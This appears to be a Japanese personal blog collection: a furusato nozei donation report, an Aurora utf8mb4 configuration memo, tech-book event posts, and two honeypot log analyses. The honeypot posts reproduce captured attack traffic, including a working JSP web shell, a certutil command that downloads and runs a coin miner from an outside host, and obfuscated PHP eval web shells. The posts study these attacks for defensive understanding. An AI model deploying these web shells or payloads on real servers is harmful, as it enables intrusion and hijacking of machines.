はじめてのふるさと納税!

今日は技術的な内容ではありません!!! 今年、はじめてふるさと納税をおこなったので、そのレポートです。Wowma! ふるさと納税というサイトを使って3自治体に寄附をしました。

寄附した自治体と返礼品

北海道千歳市

返礼品

ルタオ3種のアソートセット

URL

https://furusato.wowma.jp/products/detail.php?product_id=25030

感想

3種合わせると結構なボリュームがあり、かなりお得感があります。ロイヤルクロワッサンリングは3月まで、他の2品は6月まで冷凍保存がきくので、日持ちも安心。

宮城県蔵王町

返礼品

特選厚切り8mm塩牛タン600g国産南蛮味噌100g付)

URL

https://furusato.wowma.jp/products/detail.php?product_id=11542

感想

厚切りの牛たんが200g×3パック届きます。フライパンで弱火でじっくり焼くと、お店で食べるようなブリンブリンの歯ごたえの牛たんが楽しめます。強めの塩味でビールに合う!

和歌山県湯浅町

返礼品

白浜富田の水使用の地ビール「ナギサビール」3種6本セット

URL

https://furusato.wowma.jp/products/detail.php?product_id=20686

感想

個性の違うビールが3種類。複数自治体への寄附を考えている酒飲み勢の方は、地ビール+おつまみの組み合わせで寄附先を考えてみるのも楽しいかもしれません。私はペールエールと牛たんで最高になってしまいました。

あと、冷蔵便で冷えたビールが届いたのがビックリでした。(てっきり通常の宅配便で届くものかと思っていた)

手続き周り

私は「ワンストップ特例制度」というものを利用し手続きを行いました。ふるさと納税に関わる制度がまだよくわからない、という方もまだ多いかと思いますが、思ったよりずーっと簡単だったので、気になる方は来年、ぜひチャレンジしてみてほしいです!

ワンストップ特例を利用した申請手順をかんたんにまとめると、以下の通りです。

1) ふるさと納税サイトで寄附先を選ぶ

文字通り「ふるさと」に寄附する、返礼品の割の良いところに寄付する、ふるさとではないが所縁のある土地に寄付する……など選び方はまちまちですね。

2) 寄附の申し込みフローの中で、「ワンストップ特例を利用する」というようなチェックボックスがあるので、そこにチェックを入れた上で、申し込みを完了させる

寄附の申し込み、というとなんだか難しそうですが、たいていの場合はショッピングサイトと変わらないUIとなっているので、普段ネットショッピングをする方であれば問題なく申し込み完了できると思います。

3) 寄附先の自治体からワンストップ特例申請書類が届くので、申請書類に必要事項の記入と本人確認書類のコピーをして自治体に返送する

氏名・住所のほか、マイナンバーの記入も必要となります。自治体によっては、申請書類とともに返送用の封筒を入れてくれるところもあります。

複数自治体に寄附する場合は、1~3の手順を、寄附先の自治体にたいしてそれぞれおこないます。(今回私は3自治体に寄附をしたので、3枚申請書の記入と返送をしました。) これらの申請をすることで、確定申告をおこなうことなく、翌年の住民税からの控除が受けられます。

注意点

年収や家族構成により控除可能な額が変わる

サイトで、控除上限額を知ることのできるページが用意されている場合があるので、そういったものを活用して控除上限額を計算しておくと良いです。Wowma! ふるさと納税だと以下のページにありました。

https://furusato.wowma.jp/guide/easy_step.php

ワンストップ特例制度の対象外となる条件がある

以下の場合が特例の対象外となっていました。該当される場合は注意が必要ですね。

  • 6自治体以上にたいして寄附をおこなう場合
  • 確定申告をおこなう場合

いかがだったでしょうか? めちゃくちゃWowma! ふるさと納税ダイレクトマーケティング記事になってしまったのですが……笑 気になった方はぜひ来年、ふるさと納税にチャレンジしてみてください!

RDS(Aurora)で文字コード設定をutf8mb4にする

RDS(Aurora)にあるデータベースの文字コードを、utf8からutf8mb4へ変更したので、そのときに学んだことや手順のメモです。以下の手順をおこないます。

  • RDSの設定をutf8mb4にする
  • クライアント側(今回はSpring Bootのアプリケーション)の設定を行う

RDSの設定

RDSのパラメータグループの設定を行います。以下の設定を、クラスターのパラメータグループにたいして入れればOK。

character_set_client:utf8mb4
character_set_connection:utf8mb4
character_set_database:utf8mb4
character_set_results:utf8mb4
character_set_server:utf8mb4

検索していると、indexを張ろうとしたときに問題があるからファイルフォーマットをBarracudaにする、など他の設定の情報も出てくるのですが、MySQL5.7.9以降では問題にならないようです(ファイルフォーマットがデフォルトでBarracudaになるため)。以下リンク先のページにわかりやすくまとまっています。

参考

パラメータグループの設定ができたら、クライアントから確認してみましょう。

mysql> show variables like "chara%";
+--------------------------+-------------------------------------------------+
| Variable_name            | Value                                           |
+--------------------------+-------------------------------------------------+
| character_set_client     | utf8                                            |
| character_set_connection | utf8                                            |
| character_set_database   | utf8mb4                                         |
| character_set_filesystem | binary                                          |
| character_set_results    | utf8                                            |
| character_set_server     | utf8mb4                                         |
| character_set_system     | utf8                                            |
| character_sets_dir       | /xxxxxxx/xxxxxxx/share/charsets/ |
+--------------------------+-------------------------------------------------+
8 rows in set (0.00 sec)

character_set_client, character_set_connection, character_set_results の値はクライアント側の設定によるので、一旦気にしなくて大丈夫です。また、character_set_system は、システムで使用する文字コードで変更はできないため、utf8のままで問題ありません。

クライアント(Spring Bootアプリケーション) の設定

Connector/Jの公式ドキュメントを見ながら進めていきます。

雑な翻訳ですが、以下のような感じでしょうか……。


  1. サーバー設定を character_set_server=utf8mb4 にする
  2. characterEncoding と connectionCollation を接続文字列から除外する

これらの手順を行うことで、Connector/JがUTF-8の設定を自動検出して使用できる


また、Connector/J のバージョンによっても挙動が異なる部分があるようなので、念のためドキュメントの続きの部分も確認しておきましょう。


Connector/J 5.1.46 以前のバージョンを使用している場合

utf8mb4を使うには、サーバーは必ず character_set_server=utf8mb4; で設定されていなければいけない その設定がされていなく、characterEncodingUTF-8 が指定された場合、MySQLの接続には utf8 が設定される(utf8mb3エイリアス)

Connector/J 5.1.47 以降のバージョンを使用している場合

characterEncodingUTF-8 が指定された場合、utf8mb4 を意味する


characterEncodingに同じ値が設定されていても、バージョンにより解釈が異なるのですね。

私が使用していたConnector/Jはバージョン5.1.47以降だったので、設定としては、以下のように入れておけば大丈夫そうでした。

spring.datasource.url=jdbc:mysql://xxxxxx.xxxxxx.ap-northeast-1.rds.amazonaws.com:3306/db_name?characterEncoding=utf8

今回のブログは以上です!細かいところで地味にハマったのでどなたかのお役に立てば幸いです!

参考

技術書典5サークル参加しました!

技術書典5お疲れ様でした!

技術書典5に参加のみなさま、お疲れ様でした! 台風も心配されていましたが、なんとかお天気も保ってよかったですね。しかし晴れたとはいっても、サークルとして出展された方、一般参加の方、そしてスタッフの方、みなさまにとってかなり大変な一日だったと思います。本当にお疲れ様でした。

そして弊サークル「Shin・Do・meeee」の「IT井戸端会議 Vol.1」をお買い上げいただいた方、本当にありがとうございました。自分たちの作った本が会場にいらした方の興味に触れ、人の手に渡っていると思うと、なんだかとても嬉しい気持ちになります。サークル参加決定時のブログをご覧いただけるとわかる通り、「ノリと勢い」成分多めではじまったサークルでしたが、無事に本を出すことができて良かったです。

「IT井戸端会議 Vol.1」を読み終わった方は、よろしければ是非本の感想をお送りください(TwitterのReplyでもDMでも結構です)。次回以降の参考にします。

……エモい気持ちが残っているうちに、思ったことを振り返って少し書いてみたいと思います。文章ではとてもまとめきらなかったので箇条書きです。

アウトプットのハードルは低めに

  • やらない言い訳を考えるより、とりあえず一歩踏み出してみる、というのは大切
    • 行動にあたってはわりと腰が重いタイプなので、今回「本を出す」という経験ができたのは大きかった
    • 何にしても「やってみないとわからないこと」というのは結構ある
  • はじめに完璧なものを作ろうとしない
    • アプリケーションのでデプロイにも通じるところがあるかもしれない……

「(元)同僚と本を作る」こと

  • 仕事を進める上でのスタンスがなんとなくわかっているので、進めやすくてよかった
    • チームの活動推進とかは @UltraBirdTech が好き
    • CI周りは @igara がやってくれた
    • 私はもっぱら宴会部長をやっていて、会議終わったあとの宴会の店決めを頑張った
      • 頑張りとは
      • ほら、ぼったくりの変な店を引くと、その日の気分が台無しになっちゃうから……
      • もちろん執筆も頑張りました
  • 退職後も「仲間」感を持って、集まったり一緒にいろいろ進めたりできるのはありがたい
    • 仕事と趣味のサークル活動の中間のような雰囲気
    • サークルメンバー外の元同僚で、本を購入しにイベントに来てくれた人もいた

次回以降について(サークルとしてというよりは、個人的に)

  • ハニーポット本の供給が需要に追いついていない感があったので、今後も継続して出したい
  • リクガメ飼育本に触発されたので、Python(生き物)の飼育×ITで何かやりたい
  • 本業はJavaエンジニアなので、Java関連で何か書けるネタを探したい

買った本について

買った本もずいぶんあるので、そちらは読み進み次第、順次感想をブログにアップしていきたいと思っています。ひとまずこの記事ではタイトル出しだけしておきます。素敵な本を作ってくださったサークルのみなさまに感謝してもしきれません!!!

  • リクガメ監視システムの作り方 - MZ工房
  • Microservices Architecture
  • iOSアプリ開発 UI実装であると嬉しいレレシピブック - Just1factory
  • Android Widget開発のすすめ - futabooo
  • WebShell図譜 - morihi-soc
  • ハニーポットと学ぶ侵入検知システム - morihi-soc
  • イチョウ・ジャーニー - Growthfaction

しかしこう並べて見ると、IoT/システムアーキテクチャ/ネイティブアプリ/セキュリティ/成長 と見事に分野がバラバラですね。私はどこへ向かっているのでしょうか。まあこれからもあっちこっちサーバーサイドエンジニアとして頑張っていこうと思います。

技術書典5(2018/10/8開催)で合同誌を出します!

本が出ます!!!

技術書典5向けの新刊(合同誌)を入稿しました! つつがなく印刷製本が済めば、2018/10/8 の技術書典でかんずさんの初めての本が出ます。表紙と目次はこちらです。

f:id:k-anz:20180921222920p:plain

ひとりが1章を担当する形で、4人で1冊を書き上げました。私は「攻撃のしんどみを肌で感じる - ハニーポット入門 -」の章を担当しました。セキュリティを本業としない方向けの、趣味としてのハニーポット運用について描いたつもりです。

表紙絵は @mokimoki14 が描いてくれました。感謝感謝。

ちなみに裏表紙に入れているロゴの漢字は造漢字で、 @mokimoki14 が 「辛」と「新」の字を掛け合わせて作ってくれました。サークル名がしんどみ(辛み)と、新 Do me(新しいことやろうぜ)のダブルミーニングであることによるものです。

サークル名「Shin・Do・Meeee」のeが4つなのは執筆メンバーが4人だからです。今後、メンバーの増減に応じてeが増えたり減ったりするかは不明です。

ぜひ技術書典5にお越しください! 私たちのスペースは「か24」です。当日、スペースでお待ちしてます。

techbookfest.org

技術書典5(2018/10/8開催)にサークル参加します

タイトルの通り。です。

技術書典4に参加したときに意気投合した元同僚たち(新卒で同じ会社に入った同士なのですが、いまとなっては皆違う会社で働いています。苦笑)と、サークル参加の申し込みをして、当選しました。技術書典4のレポートは以下参照。

k-anz.hatenablog.com

もともとそれなりにオタクをやっていたので、同人誌即売会にはコミックマーケット含め過去何度か行っていたのですが、その頃には、まさか自分がサークルとして出展する側になるとは、そしてまさか参加する即売会のジャンルが技術書だとは、夢にも思っていませんでした。

正直、いろいろと未知数な部分も多いのですが、なんとか頑張ります。応援してください。

jspによるWebShell作成〜コインマイナー実行の試み

Java女子としては見逃せない(?!)、jspを利用したWebShell作成の試みをWOWHoneypotで発見しました。

同一IPからの連続したアクセスで、「Webshell作成」「WebShellを利用したコインマイナー設置」「WebShellを利用したコインマイナー実行」と三段階の攻撃の試みとなっていました。

その1 (Webshellの作成)

PUT /indexweb4.jsp/ HTTP/1.1
Connection: Keep-Alive
Content-Type: text/plain; Charset=UTF-8
Accept: */*
Accept-Language: zh-cn
Referer: http://xxx.xxx.xxx.xxx:80/indexweb4.jsp/
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Content-Length: 776
Host: xxx.xxx.xxx.xxx

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c)
{
    StringBuilder line = new StringBuilder();
try
{
    Process pro = Runtime.getRuntime().exec(c);
    BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    String temp = null;
    while ((temp = buf.readLine()) != null)
    {
        line.append(temp+"\\n");
    }
    buf.close();
}
catch (Exception e)
{
    line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("bala123".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
{
    out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{
    out.println(":-)");
}
%>

HTTPのPUTメソッドで、jspファイルの設置を試みているようです。

リクエストパラメータとしては pwd cmd を受け取る作りになっており、動作としては大まかには以下のようになります。

  • pwd が想定しているもの("bala123")と一致する場合、cmd の内容を画面に表示し、コマンドを実行
  • pwd が想定しているもの("bala123")と一致しなければ :-) を画面に表示して終了

:-) を表示して終了って……

余談ですが、Javaで文字列の比較を行うときは、定数を先に持ってくるのがセオリーでしたね。

変数を先にして request.getParameter("pwd").equals("bala123") としてしまうと、リクエストパラメータのpwdがnullの際にNullPointerExceptionが発生してしまいます。

"bala123".equals(request.getParameter("pwd")) とすることで、pwdがnullの場合もNullPointerExceptionを発生させることなく、結果をfalseとして処理できるようになっています。

その2 (WebShellを利用したコインマイナー設置の試み)

GET /indexweb4.jsp?cmd=cmd.exe%20/c%20certutil.exe%20-urlcache%20-split%20-f%20http://3389.space/nw/vm.exe%20c:/windows/inf/sst.exe&pwd=bala123 HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: zh-cn
Referer: http://104.197.55.223:80/indexweb4.jsp?cmd=cmd.exe%20/c%20certutil.exe%20-urlcache%20-split%20-f%20http://3389.space/nw/vm.exe%20c:/windows/inf/sst.exe&pwd=bala123
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xxx.xxx.xxx.xxx

「その1」のWebShell作成の試みが成功したという想定で、次なるリクエストを投げてきています。

pwd=bala123 は、「その1」で想定している pwd の値と等しいため、 cmd に記載されている内容が実行されます。 cmd の内容をURLデコードして見てみると以下のようになります。

cmd.exe /c certutil.exe -urlcache -split -f http://3389.space/nw/vm.exe c:/windows/inf/sst.exe

記述から、Windows向けの処理であることが推測できます。

certutil.exe はWindowsで証明機関の構成/管理を行うコマンドなのですが、上記のように -urlcache -split -f オプションを併用することで、インターネット上から任意のデータをダウンロードを行うことが可能となるそうです。

参考 : A Suspicious Use of certutil.exe - SANS Internet Storm Center

Windowsにもともと入っているツールで、簡単にインターネットからのファイルダウンロードができる」というところで、なかなかギミックが効いていてカッコいいコマンドの使い方だなあと思うわけですが、悪意あるファイルのダウンロードに利用されると怖いですね。

今回は、指定されたURLからvm.exeを取得し、 c:/windows/inf/sst.exeとして保存しています。vm.exe については、VirusTotalで検索したところ、コインマイナーであるらしいとの情報が出てきました。

その3 (WebShellを利用したコインマイナー実行の試み)

GET /indexweb4.jsp?cmd=cmd.exe%20/c%20c:\windows\inf\sst.exe&pwd=bala123 HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: zh-cn
Referer: http://104.197.55.223:80/indexweb4.jsp?cmd=cmd.exe%20/c%20c:\windows\inf\sst.exe&pwd=bala123
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xxx.xxx.xxx.xxx

「その2」が成功した想定で、さらに次のリクエストを投げてきています。こちらも想定された pwd の値が送られてきているため、 cmd の内容が実行されることとなります。 cmd をURLデコードした結果が以下です。

/cmd.exe /c c:\windows\inf\sst.exe

もうこれは説明するまでもないのですが、「その2」でダウンロードしたファイルの実行を行っています。WebShellの設置、コインマイナーのダウンロードが済んだので、次はいよいよコインマイナーの実行に入ろうというところですね。

まとめ

順を追ってログを追うことで、WebShellがどのように作成され、どのように利用されようとしているかを知ることができました。

こういった連続したログから、意図やストーリーみたいなものが見える瞬間が、ハニーポット観察の中で一番好きです。笑

参考

Hello, Peppa!のアクセスログ

Hello, Peppa!

Hello, Peppa!という謎のアクセス - とりあえずブログ

「Hello, Peppa!」というこの気になるアクセス、私の運用しているWOWHoneypotにも来ていました。いくつかパターンがあったので、ログを抜き出してご紹介します。

ログその1

POST /cmx.php HTTP/1.1
Host:  xxx.xxx.xxx.xxx
User-Agent: Go-http-client/1.1
Content-Length: 5433
Accept: */*
Content-Type: multipart/form-data; boundary=------------------------c7145c544564e14d

--------------------------c7145c544564e14d
Content-Disposition: form-data; name="_upl"

Upload
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="h"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="w"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="leng"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="a"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="b"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="c"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="abc"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="0"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="cmd"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="php"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="1"
if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="bbs"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="m"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="js"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="2"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="3"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="!@#"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="ae"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="axa"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="aaaa"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="x"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="xx"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="eval"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="file"; filename="E:\\PHPnow\\htdocs\\images.php"
Content-Type: application/octet-stream

<?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9'); ?>Hello, Peppa!
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="fileupload"; filename="E:\\PHPnow\\htdocs\\images.php"
Content-Type: application/octet-stream

<?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9'); ?>Hello, Peppa!
--------------------------c7145c544564e14d--

multipart/form-data はファイルアップロードなどに使われるデータ形式ですね。cmx.php はWebShellとして使用されるファイル名のようです。(参考 : ハニーポット観察記録(36)「phpMyAdminの設定不備を狙ったWebShell作成の試み」 at www.morihi-soc.net

Base64エンコードされている部分のデコード結果は、以下のようになっていました。

session_start();
if(isset($_POST['code'])){
(substr(sha1(md5($_POST['a'])),36)=='222f') && $_SESSION['theCode']=trim($_POST['code']);
}
if(isset($_SESSION['theCode'])){
eval(base64_decode($_SESSION['theCode']));

処理自体に何か意味があるというよりは、これが実行できるかどうか、で脆弱性の有無を選り分けている感じでしょうか。

ログその2

POST /images.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
Accept: */*
Content-Length: 956
Content-Type: application/x-www-form-urlencoded

a=just+for+fun&code=aWYgKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkKewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJHVpZCA9IEBnZXRteXVpZCgpOwoJJGdpZCA9IEBnZXRteWdpZCgpOwoJJGdyb3VwID0gIj8iOwp9CmVsc2UKewoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQHBvc2l4X2dldGVnaWQoKSk7CgkkdWlkID0gJHVpZFsndWlkJ107CgkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCSRnaWQgPSAkZ2lkWydnaWQnXTsKCSRncm91cCA9ICRnaWRbJ25hbWUnXTsKfQplY2hvICJIZWxsbywgUGVwcGEhfCIgLiBwaHBfdW5hbWUoKSAuIiArICIuICdVc2VyOicuJHVpZC4nKCcuJHVzZXIuJykvR3JvdXA6Jy4kZ2lkLicoJy4kZ3JvdXAuJyknIC4iICsgIi4kX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10gLiIgKyAiLiAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4iICsgIi4gJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddIC4gInwiOwokc2VsZiA9IHN1YnN0cigkX1NFUlZFUlsnUEhQX1NFTEYnXSxzdHJycG9zKCRfU0VSVkVSWydQSFBfU0VMRiddLCcvJykrMSk7CiR0aW1lID0gQHN0cnRvdGltZSgiMjAxNS0wNy0xNiAxNzozMjozMiIpOwplY2hvIChAdG91Y2goJHNlbGYsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpOw%3D%3D

a=just+for+fun って本当にそうなのでしょうか……。その1と同様に、codeパラメータ以下をBase64デコードしてみると、以下のような結果となりました。

if (!function_exists('posix_getegid'))
{
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
}
else
{
    $uid = @posix_getpwuid(@posix_geteuid());
    $gid = @posix_getgrgid(@posix_getegid());
    $uid = $uid['uid'];
    $user = $uid['name'];
    $gid = $gid['gid'];
    $group = $gid['name'];
}
echo "Hello, Peppa!|" . php_uname() ." + ". 'User:'.$uid.'('.$user.')/Group:'.$gid.'('.$group.')' ." + ".$_SERVER['SERVER_SOFTWARE'] ." + ". $_SERVER['DOCUMENT_ROOT'] ." + ". $_SERVER['SCRIPT_FILENAME'] . "|";
$self = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
$time = @strtotime("2015-07-16 17:32:32");
��ho (@touch($self,$time,$time) ? 'success' : 'failed');

最後の行はなぜか文字化けしてしまいましたが、おそらく「echo」ですね。サーバの情報をいろいろと出力させようとしている感じ。

ログその3

GET /cmx.php?cmd=echo+%5E%3C%3Fphp+%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%24test%3D%24func%28%27%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%24x%29%29%3B%27%29%3B%24test%28%27c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9%27%29%3B+%3F%5E%3E+%3Eimages.php+%26+echo+Hello%2C+Peppa%21 HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Go-http-client/1.1
Accept: */*

URLデコードすると以下のようになります。

echo ^<?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9'); ?^> >images.php & echo Hello, Peppa!

$testの中の文字列は、ログその1のものと同じです。

ログその4

POST /db_session.init.php HTTP/1.1
Host: xxx.xxx.xxx.xxx:80
User-Agent: Mozilla/5.0
Connection: Close
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

eval=die('Hello, Peppa!'.(string)(111111111*9));

こちらも処理自体にはそれほど意味はない気がしますね。

Hello, Peppa!、WOWHoneypotのログを見たところ、5月4日くらいから観測されているのですが、ネット上にはあまり情報が見られないです。検索してヒットする情報も、2018年の5月〜6月のものなので、何か新しいスキャナなのでしょうか……。引き続きログの観察と情報の収集を行っていきたいと思います。

参考